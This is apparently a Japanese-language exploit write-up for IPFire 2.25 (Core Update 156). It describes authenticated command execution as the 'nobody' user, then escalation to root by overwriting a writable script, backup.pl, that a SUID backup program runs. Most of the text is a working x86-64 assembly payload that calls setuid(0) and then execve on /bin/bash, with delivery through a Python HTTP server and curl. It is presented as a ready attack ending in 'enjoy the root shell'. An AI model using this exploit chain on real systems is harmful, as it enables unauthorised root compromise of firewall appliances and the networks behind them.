Ipfire 2-25 (コアアップデート156) 認証済みRCE

• 任意のパッケージをインストールする際、システムがコマンドを実行します

• システムはHTMLのみから7zipを取得しています

• そしてtmpディレクトリを確認します

• バージョン2.25 - コアアップデート156

• ipfireはログイン後にnobodyとして任意のOSコマンドを実行できます

rootになろう！

• SUIDバイナリを確認します

• バックアッププログラムは別のスクリプトを実行します。/var/ipfire/backup/bin/backup.pl（これはbashスクリプトで、権限は良好そうです）

• bashスクリプトへの書き込みを試みます。（エラーなし。良い！）

• bashの実行を試みます

• はい、実行できますが、低権限です。setuid(0)をトリガーしなければなりません！
• これを保存して実行します alti name.asm q
• altiはsoo_deepリポジトリにある私自身のコンパイルチェックプログラムです。

bits 64
section .data
  string db "/bin/bash",0x00
  olmadis db "basarisiz.",0x0a,0x00
  olmadil equ $-olmadis
section .text
  global main
main:
  mov rax,105
  mov rdi,0
  syscall
  cmp rax,0
  je getbash

  mov rax,1
  mov rdi,1
  mov rsi,olmadis
  mov rdx,olmadil
  syscall

  mov rax,60
  xor rdi,rdi
  syscall

getbash:
  mov rax,59
  mov rdi,string
  mov rsi,0
  mov rdx,0
  syscall

• そして、新しいプログラムを /var/ipfire/backup/bin/backup.pl に書き込みます。（書き込むにはPythonのHTTPサーバーとcurlを使用できます）

• そして、rootシェルを楽しみましょう！